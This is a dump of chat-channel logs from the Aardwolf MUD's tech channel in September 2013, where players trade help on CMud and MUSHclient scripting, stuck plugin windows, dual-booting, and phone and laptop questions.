T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ganon?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Navi Tech: Navi?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Tech: Vexthorne shudders in disgust at Navi!
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Leinei Tech: No.  No Navi.  Ever.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Hey, Listen!
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: link for what?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Sickerone Tech: your scripts
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's a joke?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: finger fiendish
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Most of the time, anyone who wants to share things will have a link in their finger info.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Sickerone Tech: I see
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Mandyxx Tech: is there an iPad app that lets me play aard w plugins?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: probably not
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Mandyxx Tech: ok thanks
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Sickerone Tech: its got the default pluggins for aardwolf site client?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Sickerone Tech: its the same thing right
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Leinei Tech: pocketmud is probably the most popular one, but you're not going to find many, if any, Aardwolf-customized scripts for it
T3/r7/2013-09-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: my site is the development page for the aardwolf site client
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Sickerone Tech: ah I see
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Mandyxx Tech: I'm using pocket mud now but miss my laptop w mush
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Akuri Tech: pocket mud is nice you can use lua code too
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Leinei Tech: You can also use an app that just lets you control your computer
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Leinei Tech: And use MUSHclient that way
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Snaebjorn Tech: anyone know rooting and roming?
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Hanslanda Tech: Hadar, have you tried doubling the ~ or using %quote(), in a trigger pattern I guess it'd be %%quote().
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Mandyxx Tech: my laptop needs a new hard drive I think and won't even start
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im just going to recode it, it needs it anyways lol
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Snaebjorn Tech: I will take that as a no
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Hanslanda Tech: there are multiple levels of value expansion, so I figure whatever quoting you were doing was expanded out and then some subsequent expansion was happening.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: in the variable i had it saved as ~{a minor rejuve~} thats it
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Loreli Tech: off
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Hanslanda Tech: yeah, but the variable got expanded in the trigger pattern, so the ~ were no longer there.  Kinda hard to spot a problem when it's an obscure functionality like this.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: this is how its set in most things: #IF %ismember( %2, llMovePotions) {movepots=%1}
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: (~!~(Green Tea~)~!~)|~{A Minor Rejuve~}|Divine Refreshment|~>~)Rehabilitation Potion~(~<|Song of the Traveller|No-Doze|a Refreshing Idea|~-~= Smurfberries ~=~-|FaetorAde ®*
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: stupid cmud expanding variables when i dont want it to lol
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Sickerone Tech: i need a quaffing script :/
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Hanslanda Tech: try looking into %expand() as well.  This function lets you choose various levels of expansion, but I don't know how well it works since much of what it was for no longer applies.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Sickerone Tech: advice on some sites for nice scripts for Mush
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: off
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Hanslanda Tech: just google for 'em.  They're everywhere, in varied complexities.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Sickerone Tech: great thanks
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: lol i made a gauge in cmud and changed it to lua hoping that i could use a lua variable as the caption but nope =/
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Hanslanda Tech: zscript is the core language of CMud, it is going to by definition be tied into the most functionality.
T3/r7/2013-09-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i know i had hopes and dreams lol
T3/r7/2013-09-02.txt.gz:{chan ch=tech}Hanslanda Tech: the same would've been true had Zugg invented Lua
T3/r7/2013-09-03.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with lua if i have variables a/b/c and i wanted to make one variable abc with data from all 3 can that be done easly?
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Huh. Microsoft acquiring Nokia, probably going to see a whole new push of Nokia smartphones running Windows Mobile.
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Because that wasn't 5-10 years late or anything...
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Cryos Tech: is there something going on with the mud today?
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Cryos Tech: i am getting spammed with God a bad item, rerequesting inventory data for Inventory???
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Cryos Tech: got*
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Cryos Tech: and i can't see my inventory
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Ayasinda Tech: you sure it's the mud not a plugin?
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Cryos Tech: i disabled the plug ins but i can check again
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Cryos Tech: ok now i don't know which plugin is doing that error lol
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Ayasinda Tech: disable them all the extra plugins you installed. Then enable them one at a time.
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Cryos Tech: anyone know why xeqdb went crazy on me?
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Authentic Tech: i have a window thats stuck under my bar on top and i cant drag it down can anyone help
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Authentic Tech: one of my windows is stuck under my bar up top and i cant drag it down on my mushclient can anyone help?
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: resetaard?
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Roidrage Tech: move your top bar out of the way?
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Authentic Tech: i tried restarting and reinstalling the window
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: use the command "resetaard" - it will reset your windows to default positions.
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Authentic Tech: and the top bar doesnt move
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: cause you know - using the command that was created to solve this problem would be silly.
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Tech: Rikitiki Takihisis is filling in for Abelinc while he's out of town.
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Arnica Tech: ud=se the command resetauthentic
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Authentic Tech: yeah i reset didnt work
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Authentic Tech: its a plugin box
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Daesilme Tech: Which window is it?
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Authentic Tech: SnD
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Daesilme Tech: Yeah, resetaard won't fix that.
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: nope.
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Authentic Tech: lol yeah it sucks its covering half of my chat window
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Daesilme Tech: I don't have it handy, but open the plugin in a text editor.  There will be a GUID labeled id="big long hex code"
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: so use the default window go-around
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: or do that
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: you could also minimize the main mush window, then stretch the side that is over the plugin til you can see it.
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Authentic Tech: i cant stretch it
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Daesilme Tech: Then find a file in the state directory that has that same GUID.  Delete the state file, and reinstall the plugin.
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Arnica Tech: you need to go into the plugins/state folder and find the right file for the offending plugin and fix it,nasty stuff, good luck
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Authentic Tech: oh well guess im screwed
T3/r7/2013-09-03.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: or you could plug in to a bigger monitor and change the resolution...
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: HDMI 2.0 announced, Monster Cables board of Directors collectively change underwear.
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Dropbear Tech: I am trying to figure out a way to connect two rooms together with the mapper from Mushclient, but I need to kill a mob for me to move to the other room.  Any help would be appreciated!
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Hanslanda Tech: is it just killing them and then you walk through normally, or does killing them teleport you?
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Dropbear Tech: killing them to teleport me
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Alcor Tech: doing the goal (if applicable) or mist forming (if appliable) might be solutions. Otherwise a cexit with a wait() command might work. Need to judge your killspeed though, so it might not be the fastest way
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Hanslanda Tech: a scripted solution would be best, since most mobs that teleport give you a special line roughly indicating the teleport.
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Hanslanda Tech: no idea how to manage that in Mush, though.
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Dropbear Tech: How about a trigger?
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Hanslanda Tech: can you attach triggers to mapper room objects?
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Dropbear Tech: I am not sure, but you gave me an idea to play around with.  Thanks Hanslanda!
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Tech: Quadrapus slams his head on his desk in frustration.
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Turie Tech: Yes!
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: Has anyone successfully dual booted Windows 8 and linux?
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Tech: *Yay!*  Go Quadrapus!!!  Turie cheers him on.
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Tormat Tech: what distro?
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: I have a laptop that came with Win8, and I want to add some sort of linux to it (I don't really care what)
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: There are a few issues I'm running into
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Turie Tech: http://www.howtogeek.com/99060/how-to-dual-boot-windows-8-and-linux-mint-on-the-same-pc/
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: The laptop comes set up with a SSD and a regular hard desk in a RAID
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: From what I see online, people have almost-bricked their machines trying to get it to work, so I'd like to chat to someone before attempting anything myself... if anyone has done something similar lately...
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: It's a UEFI system, etc etc, all that new annoying crap
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Tormat Tech: from what i hear its a pain, only was going to say look into ubunto cause they ghad a desktop installer that ran in windows
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: yeah that doesn't work with the new windows stuff
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Tormat Tech: wasnt sure
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Velian Tech: So... I'm in combat and all of the sudden inbetween My spell cast and the next round of combat i see this line : abcdefghijklmnopqrstuvwxyz 0123456789 over 1000 times.  I had no other commands in back log. Was this some kind of client issue or possibly a game issue?
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: zmud/cmud?
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Velian Tech: cmud
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: IIRC< there is a command that will just dump that on your screen
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: But I forget what it is
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Velian Tech: heh
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Hmm, I haven't seen that one, lol.
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: Its to test certain things, but like I said, I dont remember much about it
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Velian Tech: literally like 1030 lines or so.
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I'll have to try not to discover it.
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Velian Tech: no idea cause i issued no commands... and i can't imagine i have a trigger that shows it.
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Velian Tech: ahh... apparently ctrl+q
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Velian Tech: it is a way in cmud/zmud to test trigger speed... Supposedly
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Linoge Tech: whenever cmud uses sql all of a sudden there's a noticeable lag , queries in my script taking 10 times longer, changing package tabs i get a wait cursor, closing cmud etc anyone have any ideas what could be up?
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Tormat Tech: i had a simalure issue before.
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Tormat Tech: i gave up :P
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Tormat Tech: and cmu trail expired :P
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Linoge Tech: friend told me to disable llmnr did that and it worked for a minute then it was back again so not sure if it was actually related to llmnr or not 
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: Tesla.  Fad or luxury brand that is here to stay?
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Tormat Tech: i think they will be around a while
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: Did you get your bag back from Fiendish back yet? If not, you have more important things to worry about than Tesla :P
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no i haven't.  is he in danger?
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Quadrapus Tech: No, but his aard is! :P
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: when he logs to take my flag i'll go back to leveling
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so tesla is here to stay, huh?
T3/r7/2013-09-04.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i mean they are going to sell 20k 90k priced cars in the US this year.  that's quite a feat.  but is it a fad?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}No pants Travis Tech: can i use @var += (number) in zscript?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: what are you trying to do?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}No pants Travis Tech: #if (%ismember(%1, @potions_list_hp.names)) {potions.hp_count - 1}
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Tech: I'd say add (number) to current @var
T3/r7/2013-09-05.txt.gz:{chan ch=tech}No pants Travis Tech: #if (%ismember(%1, @potions_list_hp.names)) {potions.hp_count - 1}
T3/r7/2013-09-05.txt.gz:{chan ch=tech}No pants Travis Tech: sorry for double linking
T3/r7/2013-09-05.txt.gz:{chan ch=tech}No pants Travis Tech: just trying to make it as clean as possible and i dont like the way var = #math var - 1 looks
T3/r7/2013-09-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: it would have to be potions.hp_count=(@potions.hp_count-1)
T3/r7/2013-09-05.txt.gz:{chan ch=tech}No pants Travis Tech: okay that that doesnt look taht bad
T3/r7/2013-09-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i also am probably going to release my lua version of my potion tracker soon also, just working out some final bugs
T3/r7/2013-09-05.txt.gz:{chan ch=tech}No pants Travis Tech: heh i just wish i could pass zscript vars into the python interp in cmud
T3/r7/2013-09-05.txt.gz:{chan ch=tech}No pants Travis Tech: i would be using the shit out of python
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Tech: the heck out of it ;-)
T3/r7/2013-09-05.txt.gz:{chan ch=tech}No pants Travis Tech: heh 
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Tech: aardwolfmud does
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Tech: aard mushclient does not
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Domovoy Tech: can mushclient save history of command when I close application?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Domovoy Tech: my client don't save command history
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Pedsirs Tech: how do i cancel berserk from my spellup plugin? im using winkle spellup-2, i need help please :)
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Alcor Tech: ww help will help, but it's noauto spell# iirc
T3/r7/2013-09-05.txt.gz:{chan ch=tech}No pants Travis Tech: anyone know how to make a clickable substituion in cmud, i seem to have forgotten
T3/r7/2013-09-05.txt.gz:{chan ch=tech}No pants Travis Tech: one that you can click with the mouse and it executes a script
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: anyone familure with tintin++?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Ixle Tech: Sure
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: i use wintin++ and i loaded up the tintin mods... looks like some of the mods use tail.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: like the chat window, is there a windows alternative?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: *hehe*
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Ixle Tech: By "mods" do you perhaps mean the stuff from my description? If so, no not without doing it all through cygwin which I haven't any experience in.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: yes, yes i do.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: i hate cygwin
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: and, nicly put together, from what i can get working sofar :P
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Ixle Tech: If you can get access to a linux box I can help you get it "all" set up, including remote access. If you're stuck with Windows the Aard-Mushclient package is really well done for a gui client.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: yeah, i recently lost access to my remote box, but i am working on getting another. i really like tintin so i kinda want to stick with it a little longer
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: the mushclient is ok, i looked atit yesterday, i just need to get a small server set back up at home and use that.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: more comfortable in a shell :P
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Ixle Tech: Same. Get back to me when you have a real shell to work from.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: i will, thanks
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: what distro you running?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Ixle Tech: Ubuntu atm, but not for any real reason. It's just what got installed last on that machine. My daily driver is a chromebook.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: how you like the chrome book
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Ixle Tech: Best $199 I ever spent
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: nice to hear.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: when my hp netbook dies chrombook is next.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Ixle Tech: The pixel is overpriced. The low end ones are where it's at. I got the Acer C7 with 320gb hd but now there's a model with a 16gb ssd. I'd get that one if I had it to do over again.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: yeah the ssd are where its at on lightweight mobal
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Ixle Tech: Some of them are starting to come with bluetooth. That would be a nice feature, but not necessary. Having a cell phone for hotspots/tethering is very nice as well.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: on that note... anyone got a hotspot device they are using and not paying out the nose for it? I need one that i will use once a month.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i just use my cell phone
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: dont get cell access at my home so i have a stupid phone.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: no clue i dont wany extra bills so my 50 a month for unlimited everything i make it count
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: my cell phone is $100 a year... tracphone
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: there are some that have 0 monthly if you use less then 300 mb
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: just the service area is smll.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i use over 20gigs of data a month lol as i said i get what i pay for
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Bode Tech: yeah, though this is for running cc at a show i do once a month. so very small usage
T3/r7/2013-09-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: check with some big name providers sometimes they have deals
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Karebu Tech: is aardwolf mushclient LUA language?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Karebu Tech: pertaining to triggers
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Thunderous Norton Tech: depends on your settings. but most people use lua
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Thunderous Norton Tech: if you go to game/config/scripting, you'll se a dropdown for the scripting language
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Karebu Tech: im looking to add a delay to the inbuilt trigger, do i simply put DoAfter (10,"eat food") in the box?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Tech: Thunderous Norton shrugs helplessly.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Karebu Tech: ah ok
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Karebu Tech: thank you
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Martini & Tyebald Tech: I see a remort count in gmcp char.base data, but no listing of which classes.  am I missing that data elsewhere, or is that not contained in gmcp content?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Kilfer Tech: I am trying to use the search and destroy plugin but the window it pops up is halfway out of the top of my window and i cannot move it any suggestions on how to fix?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Alcor Tech: you could try xset reset gui
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Kilfer Tech: i have no idea what that is.
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Alcor Tech: a command from ww help
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Alcor Tech: i.e just type it and press enter :)
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Kilfer Tech: ty!
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Asterax Tech: I bought a used phone off ebay that's enabled on verizon's network but it doesn't appear to have a sim card in it. I have a few other older verizon phones with sim cards in them. Could I switch in the sim card from one of the old phones into the new phone?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I know at least one way to find out
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Caloistin Tech: by any chance, anyone know of fonts that dont mess up the spacing in mush?
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You want any monospace font
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Leinei Tech: Anything monospaced will work
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I use Lucida Console
T3/r7/2013-09-05.txt.gz:{chan ch=tech}Leinei Tech: courier is the default in aardmush, I believe
T3/r7/2013-09-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: verizon operates a CDMA network in the US which does not use sim cards
T3/r7/2013-09-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they have a few quad-band phones that might, but most of their phones will not
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Never seen a Verizon phone with SIM card at all. Nor Sprint. AT&T has them, though.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sprint is also cdma
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ATT and T-Mobile use GSM
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Karebu Tech: crap, what are the default logging settings on MUSHClient? im suddenly running out of disc space on my parallels drive
T3/r7/2013-09-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: default? hmm
T3/r7/2013-09-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't think it logs by default? but check the logs folder to see if there's a chat log?
T3/r7/2013-09-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there will be database backups in the db_backups folder too, but remove those at your own risk
T3/r7/2013-09-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you want them to take up less space, the mapper has an option to compress them that I think is off by default
T3/r7/2013-09-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: would anyone know why cmud would execute a walk, then once im in the room use the last portal and enter it
T3/r7/2013-09-06.txt.gz:{chan ch=tech}O.G. Accora Tech: Drugs?
T3/r7/2013-09-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: it only seems to happen when i do .path, if i execute #walk from the command line it works
T3/r7/2013-09-06.txt.gz:{chan ch=tech}O.G. Accora Tech: So tech channel, ready for a big one?
T3/r7/2013-09-06.txt.gz:{chan ch=tech}O.G. Accora Tech: The trackpad and touch screen on my laptop do not work when it is plugged in, or when it is not plugged in, and sitting on a surface.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}O.G. Accora Tech: If I am holding it, and it is NOT plugged in, it works fine, no problem.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}O.G. Accora Tech: Well, it works if I am the one using it.  If, for example, I am holding it, and someone else tried to use the track pad, while I'm holding it, it will not work.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: trackpad problems with laptop plugged in usually come from using a bad power supply
T3/r7/2013-09-06.txt.gz:{chan ch=tech}O.G. Accora Tech: Where it gets complicated is that this is not unique to my laptop.  Another laptop in my house does the same thing.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}O.G. Accora Tech: Different power supply entirely.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it can be the charger or your house grid
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: altho usually the symptom is random lock-ups
T3/r7/2013-09-06.txt.gz:{chan ch=tech}O.G. Accora Tech: We live in the shadow of a giant radio tower farm.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so i have no programming book and i have an assignment due tomorrow
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: and i mischan like a mutha
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Rhuli Tech: use google for any programming questions
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Hanslanda Tech: I concur, asking about it on tech is too close to botting. :P
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol, more wondering what the questions are
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: but yeah google doesn't hurt either way
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryndok Tech: hi, i dont't know who to ask about this - i'm having a problem using the "Help" feature in MUSHclient...  says i need to download a program to be able to view information created in the Windows help format..  when i try to download it from the microsoft website, it says i need to run a "Validation Tool".  i downloaded it (GenuineCheck.exe) but it won't run.  says this version is no longer supported by windows.  maybe someone else has had this problem? 
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Hanslanda Tech: the validation tool means you don't have a legal copy of Windows.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryndok Tech: i do though!  
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Book of Etzli Tech: That's incorrect, Hanslanda.
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Hanslanda Tech: hmm, are you clicking on the right link, then?
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cryos Tech: just google the item you need help with and you will get the mushclient forum with it most likely
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Cadriel Tech: well, the validation tool will say the copy isnt genuine. older copies of windows can give an error if they are no longer supportted
T3/r7/2013-09-06.txt.gz:{chan ch=tech}Book of Etzli Tech: The problem with "older copies" is that Windows 7 made the change (maybe Vista?) to the new help file. 7 is still supported, though I think Vista isn't... hmm.
